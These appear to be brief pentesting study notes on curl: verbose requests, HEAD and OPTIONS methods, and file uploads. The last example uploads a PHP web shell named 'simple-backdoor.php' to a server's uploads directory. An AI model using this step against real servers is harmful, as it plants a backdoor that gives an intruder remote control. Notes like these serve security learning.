Using curl to modify HTTP requests:

This shows verbose request and corresponding Response

curl -v <website(IP or domain)> 	

Choosing HEAD methods to hide the message body just the top headers:

curl -v -I <IP>

Show the accepted or supported Request Methods:

curl -v -X OPTIONS <ip>

Upload a file to a specific directory on the site that allows uploading:

Template:

curl <IP>/<directory_where_upload_is_allowed> --upload-file <path_to_file_to_upload>

Example:

curl 192.164.126.3/uploads/ --upload-file /usr/share/webshells/php/simple-backdoor.php